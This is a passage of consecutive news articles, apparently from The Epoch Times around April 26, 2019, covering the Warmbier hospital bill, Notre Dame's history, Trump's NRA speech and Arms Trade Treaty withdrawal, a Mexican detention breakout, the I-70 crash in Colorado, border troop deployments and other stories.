Singapore Summit concerning denuclearization on the Korean peninsula, held between North Koreas Kim Jong-Un and President Donald Trump, a maximum pressure campaign took place in 2017, accompanied by the rhetoric of fire and fury that ultimately resulted in the easing of tensions. Throughout those tense times, the abuses in human rights by the North Korean regime were openly on display with the case of the detention and death of an American citizen by name of Otto Warmbier. As a University of Virginia student on a trip to Pyongyang in 2016, he was imprisoned and sentenced to 15 years of hard labor for a hostile act against the state, according to North Korea. The actual alleged crime was that he tried to steal a propaganda poster from his hotel. During his detention, Warmbier fell into a coma due to unknown reasons and remained in that condition for 17 months, passing away a week after his return to the United States in June 2017. North Koreas horrific human rights abuses were condemned before a global audience at the United Nations General Assembly in September 2017 by President Trump, as well as during his visit to Seoul, South Korea in November 2017, and then again with the Warbmier family present during his January 2018 State of the Union address. Later that year, a federal district court in Washington ordered the DPRK government to pay $501 million in damages to the Warmbier family for the torture and death of their son. North Korea has denied any wrongdoing and refuses to pay, insisting that Warmbier was treated in a humanitarian way. But the Washington Post reported on April 25 that during Warmbiers detention in 2017, North Korea had, in fact, demanded $2 million from the United States for the hospital care of Otto Warmbier while he was unconscious and unable to perform the hard labor he was sentenced to do. The regime had insisted that a U.S. official sign a pledge to pay the invoice before Warmbier was sent home. The existence of such demands were not previously disclosed by neither the DPRK nor U.S. officials. Fox News reported that then-Secretary of State Rex Tillerson and the State Departments specialist on North Korea, Joseph Yun, were ordered by the President to completely do whatever you can to get Otto back. They signed an agreement to pay the medical bill but the money was never paid to North Korea. The $2 million bill was sent to the Treasury Department, where it remained unpaid. President Trump refuted any speculation about ransom payments today, asserting that the United States did not pay any money to North Korea for the release of Otto Warmbier in 2017. Donald Trump also criticized these speculations, claiming that he does not operate as his predecessor Barack Obama, who paid ransom to release hostages from Iran. No money was paid to North Korea for Otto Warmbier, not two Million Dollars, not anything else. This is not the Obama Administration that paid 1.8 Billion Dollars for four hostages, or gave five terroist hostages plus, who soon went back to battle, for traitor Sgt. Bergdahl! Donald J. Trump (@realDonaldTrump) April 26, 2019 The release of the information came as North Koreas Communist Party Chairman Kim Jong-Un met with Russian President Vladimir Putin in Vladivostok, Russia, on Thursday. These revelations though have naturally bothered many experts on the communist regime, including Greg Scarlatoiu, Executive director of the Committee for Human Rights in North Korea, who said, This is outrageous. They killed a perfectly healthy and happy college student and then had the audacity to expect the U.S. government to pay for his care, according to the Washington Post. Of all the French Gothic buildings, it is perhaps the Notre Dame cathedral of Paris, with the aid of Victor Hugos written word, that has most captured our collective imaginations. This eight-century-old monument is one of the most famous examples of the Gothic cathedral, and demonstrates the invention of the flying buttress. One of the first examples of French Gothic architecture, the style that turned stone buildings into worlds of light, color, and soaring heights, was the Basilica of Saint-Denis. It was Abbot Suger, one of the most prominent patrons of Gothic architecture, who directed the design and construction of the basilica in the 12th century. Cathedrals in Reims, Amiens, and Chartres followed suit. And with feats of engineering, they made use of pointed arches and flying buttresses to give parishioners a glimpse into eternity. At the Heart of Paris Some believe the cathedral sits on hallowed ground. Before Notre Dame, before Christianity, the site was home to a temple for Jupiter, as an ancient pillar discovered on the grounds suggests. Over the next several centuries, several sacred buildings took its place, one after the other. Today, a small bronze star on the ground in front of the cathedral marks Paris Point Zero, supposedly the center of the city, from which all distances to other French cities are calculated. In 1160, Maurice de Sully was appointed bishop of Paris. The Romanesque structure standing at the time was far too small for the growing population of the city, and Sully had the basilica demolished to build a cathedral dedicated to the Virgin Mary. Three years later, Pope Alexander III laid the first stone in the presence of King Louis VII, but it would be nearly two centuries before Notre Dame cathedral was completed in 1345. The church was to be built in the Gothic style, following in the footsteps of Suger. Pointed arches reaching upward and flying buttresses that spread out like lacework allowed these buildings to soar higher, creating a sense of openness. The support system of these structures allowed the heavy stone to be set thinner, and in slivers, allowing for more glass and more light. The construction of Notre Dame began with the choir and ambulatories (the backmost area of the church), and by the end of the century, the western facades were nearly built. In 1225, the first rose window, on the west facade, was completed. It is the smallest of the rose windows, some of the most famous features of Notre Dame. By the middle of the 13th century, the invention of the flying buttress allowed for the north and south rose windows to be much larger in size. The south rose, gifted by King Louis IX, stretches more than 14 yards in diameter, with additional detailing around it measuring more than 20 yards. In 1323, French theologian John of Jandun wrote, In fact, I believe that this church offers the carefully discerning such cause for admiration that its inspection can scarcely sate the soul. Modifications and Renovations Over the next several centuries, as with many great churches, the building was modified to better fit the style of the times, and it also suffered wear and tear that went unrepaired. Then during the French Revolution in 1793, Notre Dame suffered severe damage when revolutionaries melted down the great bells to make canons, replaced a statue of the Virgin Mary with one of their icon, Liberty, and beheaded the figures of biblical kings, mistaking them for figures of the French monarchy. When Napoleon Bonaparte took power, he gave the cathedral back to the Catholic Church. In 1804, he crowned himself emperor of France there, with Pope Pius VII officiating. By this time, the cathedral was still in use but in a very poor state. In 1831, Victor Hugo published his novel Notre-Dame de Paris (The Hunchback of Notre Dame), and its enormous success shone a light on the battered monument. Beside each wrinkle on the face of this old queen of our cathedrals, you will find a scar, wrote Hugo. The people called for the renovation of the cathedral, and the city arranged a commission to select which architects would work on the project. Hugo eventually sat on the commission that chose architects Jean-Baptiste-Antoine Lassus and Eugene Viollet-le-Duc to do the job. The architects worked to restore the statues that had been left smashed after the French Revolution. They rebuilt the original medieval spire and replaced the bells, designed new stained glass windows, and updated many other details. It was this 25-year renovation that added the famous gargoyles of Notre Dame, along with other mythical beasts, as symbols to ward off evil as well as to serve as spigots to divert rainwater in small streams off the building. The spire is the one that was recently damaged by fire. The original had been removed in 1786 because it could not withstand the wind, and Viollet-le-Duc created a new one that was taller300 feet tallstronger and decorated with statues of the apostles. In More Recent Times New renovation projects have been sorely needed since the mid-19th century. Air pollution covered the cathedral in soot and grime, decorative features were falling off, and stained glass windows were once again damaged. Some medieval windows were broken in the 1944 liberation of the city during World War II and subsequently replaced with modern designs. In 1963, the facade was finally cleaned, in time for the cathedrals 800th anniversary. For its 850th anniversary in 2013, four of its bells were melted and recast to sound like the original bells. The latest renovation was a languorous project in search of funding. The government, which owns the property, had budgeted 2 million euros ($2.2 million) annually for its upkeep. But the Catholic Archdiocese of Paris, which uses the cathedral, found that this sum covered only basic repairs and that additional funds were needed to fix greater structural issues. As of 2017, the goal was to raise more than 100 million euros ($114 million) over the following 5 to 10 years. However, in the aftermath of the fire this month, individuals and organizations have together pledged about $1 billion. Beyond maintenance, though, there is talk of a redesign. The fire resulted in the collapse of the cathedrals 300-foot spire. Two days later, French officials announced an international architectural competition for the design of a new spire. French Prime Minister Edouard Philippe said in a tweet that this would allow the examination of whether the spire should be rebuilt or adapted for the times. President Emmanuel Macron told the press, We will rebuild Notre Dame even more beautifully, and I want it to be completed in five years. President Donald Trump arrives to speak to the annual meeting of the National Rifle Association, Friday, April 26, 2019, in Indianapolis. (AP Photo/Evan Vucci) Object Thrown at Stage During President Trumps Speech at NRA Convention A person was reportedly removed from the audience during President Donald Trumps speech to the National Rifle Association (NRA) on April 26 after he allegedly tossed what appears to be a cellphone toward the stage, according to a video circulating on social media. The video, which was taken by attendee Bradley Brewer, shows a black object flying toward one side of the lectern as Trump was approaching from the other side. When the object landed on the stage and bounced away, the president could be seen turning his head and glancing over. #BREAKING: A phone was thrown at @realDonaldTrump during his introduction at the @NRA convention. The individual was swiftly arrested and the President continued with no problem. pic.twitter.com/EDcHwNgQl7 Bradley Brewer (@realBradBrewer) April 26, 2019 The incident did not appear to affect the president and he proceeded with his speech without delay. According to Brewer, the individual was swiftly arrested and the President continued with no problem. Another attendee, Katie Pavlich, also recounted the incident via social media. A man threw a cell phone on stage when President Trump walked out for his @nra speech. He threw it stage left, while POTUS was closer to stage right. The man hung around up front for a few minutes, carrying Mt. Dew, as POTUS started remarks and then Secret Service removed him, Pavlich wrote. A man threw a cell phone on stage when President Trump walked out for his @nra speech. He threw it stage left, while POTUS was closer to stage right. The man hung around up front for a few minutes, carrying Mt. Dew, as POTUS started remarks and then Secret Service removed him. Katie Pavlich (@KatiePavlich) April 26, 2019 At the convention in Indianapolis, Trump addressed members of gun rights groups, defended the Second Amendment, and announced the United States withdrawal from a United Nations treaty regulating the multibillion-dollar global arms trade. Trump said he decided to revoke the United States status as a signatory of the U.N. Arms Trade Treaty, which regulates international trade in conventional weapons, including small arms, battle tanks, combat aircraft, and warships. He said the treaty could infringe on U.S. sovereignty and the rights of Americans. Under my Administration, we will never surrender American sovereignty to anyone. We will never allow foreign bureaucrats to trample on your Second Amendment freedoms. And that is why my Administration will never ratify the UN Arms Trade Treaty, Trump said. Under my Administration, we will never surrender American sovereignty to anyone. We will never allow foreign bureaucrats to trample on your Second Amendment freedoms. And that is why my Administration will never ratify the UN Arms Trade Treaty. pic.twitter.com/j1xnuUdX1x The White House (@WhiteHouse) April 26, 2019 The Associated Press contributed to this report. Shen Yun Performing Arts has, in just over a dozen years, become the worlds foremost classical Chinese dance company. It has grown from one to now six equal-sized dance groups that tour the globe every year with an all-new program, and one of these contingents will be performing in Anchorage, Alaska, from April 26 to 28. Officials from various levels of government welcomed Shen Yun ahead of its arrival. Governor Michael J. Dunleavy welcomed the group and thanked Shen Yun for its desire to educate and inspire Alaskans with your performance. I am grateful for Shen Yun Performing Arts desire to bring nations together through art, and I am thankful for their contribution to the cultural diversity of our communities, Dunleavy wrote. United States Senator Dan Sullivan was pleased to welcome Shen Yun to his home state as well. We are honored to have youthe very talented dancers, orchestra members, choreographers, composers, and conductorsin Alaska to share this world-renowned performance with us, he wrote. Special events like these are a wonderful opportunity to share our different traditions and heritage with the community, Sullivan wrote. I know attendees will be inspired by the music, dance, and pageantry Shen Yun will display over these two days, as you transport audiences through 5,000 years of Chinese culture. US House of Representatives Congressman Don Young congratulated Shen Yun on its far-reaching impact. The positive impact you have contributed to our society by sharing this beauty and energy is something you should be proud of, he wrote. The combined Alaska State Legislature, composed of both the House and Senate, issued a citation in recognition of Shen Yun Performing Arts on Apr. 22, 2019. The members of the Thirty-First Alaska State Legislature are honored to recognize Shen Yun Performing Arts for its authentic Chinese culture and its core message of truthfulness, compassion, and tolerance. The citation goes on to say: The members of the Thirty-First Alaska State Legislature offer their gratitude and recognition for bringing to the world magnificent eras in Chinese history, ancient stories and legends, ethnic and folk traditions, villains and heroes, through classical Chinese dance and music. Representative Land Pruitt, the House Minority Leader in the Alaska State Legislature, wrote a letter thanking Shen Yun Performing Arts for sharing its mission of reviving the nearly-lost traditional Chinese culture. Thank you again for bringing to Alaska this beautiful performance, which has graced many of the worlds greatest stages and spans 5,000 years of Chinese culture and tradition, Pruitt stated. Senator Elvi Gray-Jackson welcomed the company as well, excited for the opportunity to witness something she knew would not only be uplifting, but will be entertaining, and educational. It is exciting to have you bring 5,000 years of Chinese culture through the universal language of music and dance, Gray-Jackson wrote. We look forward to hosting you and your inspiring cultural phenomenon of music and inspiration. Senator Chris Birch extended his appreciation as well. Shen Yuns mission to preserve and revive 5,000 years of Chinese culture and connect the cultures of the East and West is truly admirable, he wrote. Cultural preservation is vital in maintaining our human identities. The Epoch Times considers Shen Yun Performing Arts the significant cultural event of our time and has covered audience reactions since the companys inception in 2006. Oil Tumbles Most in 2 Months as Trump Urges OPEC to Pump More Oil prices fell by about 3 percent on April 26 as President Donald Trump called on the Saudi-led Organization of the Petroleum Exporting Countries (OPEC) to increase production. Spoke to Saudi Arabia and others about increasing oil flow. All are in agreement, Trump said in an April 26 tweet. Brent crude futures, the leading oil price index, fell $2.20 to $72.15 a barrel, the largest one-day drop since Feb. 25. Spoke to Saudi Arabia and others about increasing oil flow. All are in agreement. The California tax on gasoline is causing big problems on pricing for that state. Speak to your Governor about reducing. Economic numbers, 3.2% GDP for what is often worst quarter, looking good! Donald J. Trump (@realDonaldTrump) April 26, 2019 Rally Oil prices have rallied about 40 percent higher this year after OPEC and several allies cut supply by 1.2 million barrels per day, and as sanctions on Venezuela and Iran have reduced output. Prices were still up more than 30 percent this year after the April 26 losses. On April 25, Brent rose above $75 a barrel for the first time this year after Germany, Poland, and Slovakia suspended imports of Russian crude via a major pipeline due to contamination. Russia, which expects to resume pipeline supply on April 29, said it believes the oil could have been deliberately contaminated. The Trump Effect Since taking office, Trump repeatedly has exhorted the OPEC cartel to lower prices. His comments tend to have a temporary effect on the market, and some traders noted that the recent move made the market ripe for profit-taking. I think the market should be more skeptical because I dont think OPEC is going to jump every time Trump calls, said Phil Flynn, an analyst at Price Futures Group in Chicago. Now, if we actually see evidence that OPEC is raising production, or says theyll do it right away, that could change things. Rigs Down U.S. oil drillers this week cut the most rigs since the week of Jan. 18, down 20 to a total of 805, as independent producers follow through on plans to cut spending on new drilling and completions. The U.S. rig count, an early indicator of future output, has fallen below year-ago levels, when 825 rigs were active. Waiver Rumor Traders also said the selloff was in part due to rumors that Washington could grant China an exemption to the Iran oil embargo allowing it to keep buying Irans oil, which would increase the available worldwide supply. Washington said April 22 that it would end all exemptions for sanctions against Iran. The market had gotten all bulled up on Iran output, or exports going to zero or close to it, said John Kilduff, a partner at Again Capital LLC in New York. Two Trump administration officials pushed back on the rumors on April 26, saying that neither a wind-down period nor a short-term waiver on Chinas oil purchases from Iran is being contemplated after Washington told Irans customers on April 22 to halt the purchases by May 1 or face sanctions. The administration has been very clear to China, Irans top oil consumer, about not granting additional waivers to the sanctions it granted last November, one of the senior administration officials said. Theyve known about it, so to my knowledge thats not being contemplated, said the official, adding that ultimately questions about a wind-down period would be for the State Department. The State Department didnt immediately respond to a request for comment. Reuters contributed to this report. Mexico's federal police stand guard at the US-Mexico border fence as President Donald Trump visits Calexico, California, as seen from Mexicali, Baja California state, Mexico, on April 5, 2019. (GUILLERMO ARIAS/AFP/Getty Images) Over 1,300 Migrants Break out of Mexican Detention Facility At least 1,300 migrants, mostly from Cuba, broke out of an immigration detention center in Southern Mexico on April 25. The incident, authorities said, shows how a surge in arrivals has stretched the countrys resources to the limit. The moment of the break out was recorded on camera and posted by media Azteca Noticias. The footage depicted throngs of migrants running out of the facility on foot as security appeared overwhelmed. Its unclear if there were any injuries during the incident. Later, over half of the migrants returned to the Siglo XXI facility in the border city of Tapachula in Chiapas state, according to a statement from Mexicos National Immigration Institute. About 600 migrants still remain unaccounted for. Cuban migrants, the majority being held in the facility, were largely behind the breakout, the institute added. Mexican newspaper Reforma reported that Haitians and Central Americans were also among those who fled the facility, which has been crammed in recent weeks. Momento en el que huyen decenas de migrantes centroamericanos y cubanos tras amotinarse en la estacion del INM de Tapachula, Chiapas. pic.twitter.com/SNXBpxX72A Azteca Noticias (@AztecaNoticias) April 26, 2019 Mexico has returned 15,000 migrants in the past 30 days, officials said, amid pressure from President Donald Trump to stem the flow of foreigners moving north throught the country. U.S. officials said they arrested or denied entry to more than 103,000 people along the border with Mexico in March, more than twice as many as the same period in 2018. The majority of migrants moving through Mexico are from Guatemala, Honduras, and El Salvador, but Cubans are also joining in large numbers. More than 1,000 people from Cuba are now in Chiapas, according to Mexican officials. Trump on April 24 reiterated that he would close part of the U.S.-Mexico border if Mexico doesnt block what described as a new caravan of migrants headed north. A very big Caravan of over 20,000 people started up through Mexico, Trump wrote on Twitter. It has been reduced in size by Mexico but is still coming. Mexico must apprehend the remainder or we will be forced to close that section of the Border & call up the Military. A very big Caravan of over 20,000 people started up through Mexico. It has been reduced in size by Mexico but is still coming. Mexico must apprehend the remainder or we will be forced to close that section of the Border & call up the Military. The Coyotes & Cartels have weapons! Donald J. Trump (@realDonaldTrump) April 24, 2019 Trump also said that any additional troops sent to the U.S.Mexico border will be armed after two U.S. soldiers were held at gunpoint and questioned by Mexican troops on the U.S. side of the border. Mexicos Soldiers recently pulled guns on our National Guard Soldiers, probably as a diversionary tactic for drug smugglers on the Border. Better not happen again! Trump said in an April 24 tweet. We are now sending ARMED SOLDIERS to the Border. Mexico is not doing nearly enough in apprehending & returning! There are about 5,000 troops deployed at the border, including some 3,000 active-duty and 2,100 National Guard members, The Military Times reported on April 10. Their mission is to reinforce border barriers and provide logistical support to the Border Patrol, amid a surge in illegal border crossings this year. The military cant engage in domestic law enforcement unless authorized by Congress, but it can potentially use lethal force in defense of the border agents. Most of the troops were deployed without their service weapons, then-Defense Secretary Gen. Jim Mattis said in November 2018. Epoch Times reporter Petr Svab and Reuters contributed to this report Workers clear debris from the eastbound lanes of Interstate 70, on April 26, 2019, in Lakewood, Colo., after a deadly pileup involving semi-truck hauling lumber on April 25, 2019. (David Zalubowski/AP Photo) Panhandler Who Rushed to Save People at Deadly I-70 Crash Hailed a Hero A man who was panhandling near the deadly crash and fire on the Interstate 70 in Colorado, which left four dead, has been called a hero for risking his life to help with the rescue efforts. Darin Barton told Fox 31 in an interview that at the time of the crash he was panhandling at the Denver West exit of Interstate 70. As soon as he saw the semi-trailer crash into the cars and roll over, he just dropped everything and ran toward the accident site. As soon as I [saw] flames, I headed under the bridge, grabbed three or four people out of a couple cars, Barton recounted. He said that there were other good Samaritans who joined in with the rescue efforts. I didnt do this all myself. There were other people in traffic that helped, said Barton, who had been homeless since July 2014 after he was injured in an accident involving a light rail train and a car in Denver. He added, I just did what I hoped anybody wouldve done if I was sitting down there. The 28-vehicle crash occurred when a tractor-trailer heading east down a hill crashed into slower traffic in the afternoon hours of April 25, sparking a massive fire, according to authorities. The spokesman with Lakewood Police Department said the semi plowed into traffic that had been backed up near Denver West Colorado Mills Parkway due to an accident further up the road. He said that after impact, a vehicle ignited and the fire spread. A towering plume of black smoke was seen for miles as firefighters doused the burnt-out shells of several vehicles in the vicinity of the Denver West Parkway Bridge. Authorities confirmed the number of casualties to be four on April 26, adding that they were not able to confirm the death toll the night before due to the devastation caused by the fire. Lakewood police spokesman John Romero described it as a chain reaction of crashes and explosions from ruptured gas tanks. It was crash, crash, crash and explosion, explosion, explosion, he said. Six people were also taken to hospitals with injuries. Their conditions were unclear on Friday. There is just a bunch of debris from this crash that took place. The carnage was significant, just unbelievable, another department spokesman, Ty Countryman, said. Authorities have identified the driver as 23-year-old Rogel Lazaro Aguilera-Mederos, who was arrested and faces charges of vehicular homicide. He is expected to make his first court appearance on April 27. Footage from the Crash Video footage from a news helicopter showed flames whipping off the vehicles and what appeared to be lumber spilled across the interstate. Local YouTuber Joshua McCutchen, who goes by the name Burger Planet, captured the moment the semi sped by him moments before crashing into stationary traffic ahead. *Warning: some viewers might find the language used in the video offensive. McCutchen also captured footage from the scene of the crash and interviewed an eyewitness. Airborne traffic reporter John Morrissey posted an aerial photograph of the scene on Twitter. EB I70 is CLOSED at Ward Rd by this crash. School bus, tanker, and several cars involved. No word on injuries but several children are being evaluated in the 2 ambulances on scene. EB I70 is CLOSED at Ward Rd by this crash. School bus, tanker, and several cars involved. No word on injuries but several children are being evaluated in the 2 ambulances on scene. #cotraffic @KOANewsRadio pic.twitter.com/Tf5rwVvdsB John Morrissey (@KOAJetcopter) April 25, 2019 This is a developing story. The Epoch Times Reporter Tom Ozimek and The Associated Press contributed to this report. Border Patrol agents apprehend illegal immigrants who have just crossed the Rio Grande from Mexico into the United States near McAllen, Texas, on April 18, 2019. (Charlotte Cuthbertson/The Epoch Times) Pentagon to Send 300 More Troops to Southern Border, Updates Policy The Pentagon said on April 26 that they are expecting to send about 300 additional troops to the U.S.-Mexico border. Included among the group are roughly about 100 cooks who would be handing out meals to migrants. Previously, the Pentagon said there were no plans for U.S. forces to intersect with migrants as they support border agents dealing with illegal immigration. The new move appears to break with past policy for troops to avoid contact. It comes as the administration seeks to enforce immigration laws to the fullest extent and is also a sign of a growing military support role. President Donald Trump has made tackling illegal immigration a signature issue of his presidency and of his 2020 re-election campaign. In addition to the cooks, the Pentagon is expected to send 160 drivers and 20 lawyers, Pentagon spokesman Charlie Summers said. We will have some of our troops handing out meals, therefore would come in contact with migrants, Summers said. He said it was an amendment to the current policy. In January, Trump described the surge of illegal immigrants entering the United States as an invasion. He argued that a physical border wall would make it much easier to combat the surge of illegal immigrants and said it would be less expensive. There are currently about 5,000 active-duty and National Guard troops near the border, though that number fluctuates. The military can provide support services to law enforcement and has done so on occasion since the 1980s. Earlier this month, Trump said he would have to mobilize more of the military at the U.S. border with Mexico after listening to stories about migrants crossing the border from people attending a Republican fundraiser. The Pentagon move comes roughly around a month after six Mexican military personnel questioned two U.S. Army soldiers near Clint, Texas. A U.S. military investigation found the American soldiers were in U.S. territory during the incident, while the Mexican personnel believed they were south of the border. U.S. officials said they arrested or denied entry to more than 103,000 people along the border with Mexico in March, more than twice as many as the same period in 2018. Trump declared a national emergency over illegal immigration earlier this year in an effort to redirect funding from Congress to build a wall along the U.S. southern border. Weeks ago, Trump said hes considering a plan to transport aliens who are apprehended after illegally crossing the southwest border exclusively to sanctuary cities. Due to the fact that Democrats are unwilling to change our very dangerous immigration laws, we are indeed, as reported, giving strong considerations to placing Illegal Immigrants in Sanctuary Cities only, Trump wrote on Twitter. The Radical Left always seems to have an Open Borders, Open Arms policy so this should make them very happy! The Trump administration is also proposing a new rule that seeks to prevent illegal immigrants from being granted public housing financial assistance. The move would ensure that U.S. citizens are first in line to review housing subsidies. An April 25 Monmouth University poll found that 46 percent of Americans support Trumps plan to send illegal aliens to sanctuary cities, while 43 percent opposed the plan. Of the remaining 11 percent, 4 percent said it depends on the circumstances and 7 percent were undecided. Trumps illegal immigration proposals come after U.S. officials said they arrested or denied entry to more than 103,000 people along the border with Mexico in March, more than twice as many as the same period in 2018. Reuters contributed to this report This undated photo provided by the Valley County Sheriff's Office shows a small plane where it came to rest at the top of a tree near the resort town of McCall, Idaho, on April 22, 2019. (Undersheriff Jason Speer/Valley County Sheriff's Office via AP) Pilot Rescued From Plane That Crash-Landed Atop Idaho Tree MCCALL, IdahoA pilot who was trying to crash-land this week in an Idaho field instead brought his small plane to rest at the top of a 60-foot tree, officials said. Pilot John Gregory was not hurt in the Monday night crash, which happened when his single-engine Piper Cub PA-18 lost power and a wing strut became entangled in the tree, according to the fire department in the resort town of McCall. Gregory was rescued from his perch atop the giant white fir by volunteer firefighter Randy Acker, who owns a tree removal company. My thought was, I need to get up there and see whats going on, Acker said. Acker had Gregory stand up in the plane so he could cut the pilots harness and clip him to a safety line for the descent. Gregory was brought down safely with the plane still lodged in the branches. Most of the weight of the plane was borne by one tree, but it also was touching a nearby tree. Those wings were perfectly centered over the top of the tree, said McCall Fire Capt. Brandon Swain. A piece of the planes propeller and one of its wheels had fallen to the ground, but the rest of the plane was intact, suspended in the tree. Acker cut branches as he scaled the tree until he was about 20 feet from the top, where higher branches were supporting the plane. Swain said Acker then secured the plane to the tree using rope webbing before Gregory was rescued. Ive never seen anything like this happen, Acker said. Just glad I was able to help. Officials are trying to determine how to remove the plane from its perch and warned people to stay away from it. Grandparents Survive Illinois Plane Crash Authorities say a 4-year-old boy and his grandparents were rescued after their small plane crashed in southern Illinois. The fixed-wing single-engine Piper PA-32 was traveling from Mobile, Alabama, when it went down in rural Monroe County on its way to St. Louis Downtown Airport in Cahokia, Illinois, on March 12. The plane crashed into the yard of Waterloo police officer Trin Daws. He says he and another man broke the planes windows with a fire extinguisher and pulled the boy out. Sheriffs Maj. Jim Lansing says the boy, his grandmother and his grandfather were talking when they were taken to hospitals. He says they suffered injuries that werent life-threatening. Lansing says the grandmother told authorities a warning light went on, oil was spewing onto the windshield and they couldnt see. Lakewood Police Department spokesman Ty Countryman briefs reporters about the deadly crash on the I-70 that took place under the Denver West Parkway bridge on April 25, 2019. (Lakewood Police Department / Google Maps) Police Arrest Driver of Semi That Allegedly Caused Fiery Crash on I-70 in Colorado The driver of a semi that allegedly caused a 28-vehicle crash on the I-70 in Lakewood, Colorado, has been arrested and faces charges of vehicular homicide. Authorities have identified the driver as 23-year-old Rogel Lazaro Aguilera-Mederos. He is expected to make his first court appearance on April 27. Ty Countryman with the Lakewood Police Department gave an update on Thursdays crash on the morning of Friday, April 26, saying that multiple people had been killed. Last night the investigators were able to get in and look at the devastation, Countryman said. Right now were at 28 vehicles involved, he said, 24 cars and 4 semis. The spokesman added that investigators still have not determined the number of fatalities. Were just saying multiple at this time because there are still some things we have to look into and check for accountability to the vehicles and drivers to make sure we have all of them. No information was provided on the severity of injuries of the six people who were taken to the hospital last night. Vehicular Homicide The driver of the semi, which was carrying lumber, is not from Colorado, according to Countryman. The driver of the semi that started this event was taken into custody. He is being processed and will be lodged at the Jefferson County Jail on multiple counts of vehicular homicide. Those charges are stemming from interviews and evidence that was gathered overnight, said Countryman. The spokesman added the driver had been injured in the crash, but not seriously. Countryman added, We feel at this time we have enough probable cause to charge with vehicular homicide. He said there was no evidence that drugs or alcohol were involved. I-70 crash update from LPD and Colorado Department of Transportation. 28 total vehicles involved. Multiple fatalities. Driver of semi in custody facing suspicion of Vehicular Homicide. Highway not expected to open until tomorrow. Lakewood Police Department 2019426 The crash shut down Interstate 70 in both directions in Lakewood, Colorado. The Lakewood Police Department representative said in a press briefing Thursday that a tractor-trailer heading east down a hill crashed into slower traffic in the afternoon hours of April 25, sparking a massive fire. The spokesman said the semi plowed into traffic that had been backed up near Denver West Colorado Mills Parkway due to an accident further up the road. He said that after impact, a vehicle ignited and the fire spread. A towering plume of black smoke was seen for miles as firefighters doused the burnt-out shells of several vehicles in the vicinity of the Denver West Parkway Bridge, The Associated Press reported. West Metro Fire Rescue said on Twitter that a firefighter suffered minor injuries when he was hit by debris, possibly from an exploding tire. Our crews working a multiple car crash on I-70 near Colorado Mills. Several vehicles are on fire, firefighters are working to extinguish the blaze. There are at least two injuries. Several agencies are assisting. Please avoid the area. pic.twitter.com/XUZygCKRS0 WestMetroFire (@WestMetroFire) April 25, 2019 The Lakewood Police Department said in a tweet that the highway would remain closed at least overnight. Investigation Speaking to reporters Thursday, Countryman did not specify a death toll, citing persistent hotspots and ongoing fire suppression efforts by West Metro Fire Rescue. We have now confirmed multiple fatalities in this, Countryman said at an on-location press conference around 9 p.m. local time. We still are just getting to the wreckage. He said the investigation is in its early stages, as fire crews were still working to make the site safe for investigators due to the the devastation and the fire at the crash scene. Theyre still working on the hotspots andI wouldnt say flare-upsbut the issues that come up. Six people had been taken to the hospital. Their conditions were unknown. The driver of the semi is one of those six, Countryman said. Countryman was earlier cited by 9News as vowing to investigate the cause of the tragedy. We have to try and figure out why this happened, Countryman said. The semi coming into the slower traffic. Theres got to be a reason. Well investigate and find out. Final update for the night on I-70 crash. Highway will remain closed at least overnight. We can confirm that there are multiple fatalities and 6 others taken to local hospitals. Lakewood Police Department 2019425 Footage from the Crash Video footage from a news helicopter showed flames whipping off the vehicles and what appeared to be lumber spilled across the interstate. Local YouTuber Joshua McCutchen, who goes by the name Burger Planet, captured the moment the semi sped by him moments before crashing into stationary traffic ahead. *Warning: some viewers might find the language used in the video offensive. McCutchen also captured footage from the scene of the crash and interviewed an eyewitness. Airborne traffic reporter John Morrissey posted an aerial photograph of the scene on Twitter. EB I70 is CLOSED at Ward Rd by this crash. School bus, tanker, and several cars involved. No word on injuries but several children are being evaluated in the 2 ambulances on scene. EB I70 is CLOSED at Ward Rd by this crash. School bus, tanker, and several cars involved. No word on injuries but several children are being evaluated in the 2 ambulances on scene. #cotraffic @KOANewsRadio pic.twitter.com/Tf5rwVvdsB John Morrissey (@KOAJetcopter) April 25, 2019 This is a developing story. The Associated Press contributed to this report. Update: Article updated to identify the driver who was arrested. President Donald Trump arrives to speak during the National Rifle Association Annual Meeting at Lucas Oil Stadium in Indianapolis, Ind., on April 26, 2019. (Saul Loeb/AFP/Getty Images) President Trump Withdraws From UN Arms Trade Treaty at NRA Convention INDIANAPOLIS, Ind.President Donald Trump signed an executive order on stage on Friday afternoon to withdraw the United States from the U.N. Arms Trade Treaty (ATT) at the National Rifle Associations (NRAs) annual convention, as a surprise gift to the nations largest Second Amendment advocacy group. The United States signed on to ATT in 2013 under the Obama administration, but the treaty has not yet been ratified by Congress. The treaty aims to regulate the international trade in conventional weapons. The United Nations will soon receive a formal notice that America is rejecting this treaty, said President Trump during his speech to the NRA attendees, and signed the executive order on the podium. Trump said that the U.S. Senate will stop the ratification process, send the bill back to the White House, and he will then dispose of it. Thousands of NRA members gathered in the Lucas Oil Stadium to welcome and to listen to the speeches of Trump and Vice President Mike Pence. The NRA has opposed the UN Treaty for years, calling it a threat to Americans Second Amendment rights. Trump took this line in his remarks. He said, Under my administration we will never surrender American sovereignty to anyone, we will never allow foreign bureaucrats to trample on your Second Amendment freedom and that is why my administration will never ratify the U.N. trade treaty. By taking this action, we are reaffirming that American liberty is sacred, and that American citizens live by American laws, not the laws of foreign countries, Trump said. Pence spoke before Trump, and said no other presidents in the modern era have done so much as Trump in so little time. Pence emphasized that guns dont threaten American families and communities, but protect them. Pence also said freedom has been winning across the nation under the current administration. Founded in 1871, the NRA is the largest pro-second amendment group in the country. It reports having 5 million members in the United States, and is the oldest continuously operating civil liberties organization. Reagan was the last sitting president who spoke to the annual NRA event. Never disarm any American who seeks to protect his or her family from fear and harm, said former President Reagan when addressing NRAs 112th annual gathering in May 1983. Reagan stressed the importance of constitutional freedoms as every Americans birthright. Reagans speech to NRA was made two years after the attempt to assassinate him. Reagan was shot and wounded after leaving a speaking engagement at the Washington Hotel in Washington on March 30, 1981. Nine out of the total 28 U.S. presidents who have served since the founding of the NRA have been members, including Ulysses S. Grant, Teddy Roosevelt, John F. Kennedy, Ronald Reagan, and President Trump. President George H.W. Bush resigned his membership from NRA in 1995. Nikolas Cruz (C) appears via video monitor with Melisa McNeill (R), his public defender, at a bond hearing after being charged with 17 counts of premeditated murder, in Fort Lauderdale, Fla., Feb. 15, 2018. (Susan Stocker/Pool/Reuters) Public Defender Asks to Drop Florida School Massacre Suspect Wholl Soon Inherit Half-Million Dollars FORT LAUDERDALE, Fla.The public defenders for the Parkland school massacre defendant unexpectedly asked to withdraw from the case on April 24, saying the 20-year-old man will soon inherit nearly a half-million dollars and no longer qualify for free legal representation. The Broward County Public Defenders Office filed the unexpected notice late Wednesday, saying Nikolas Cruz is set to receive more than $432,000 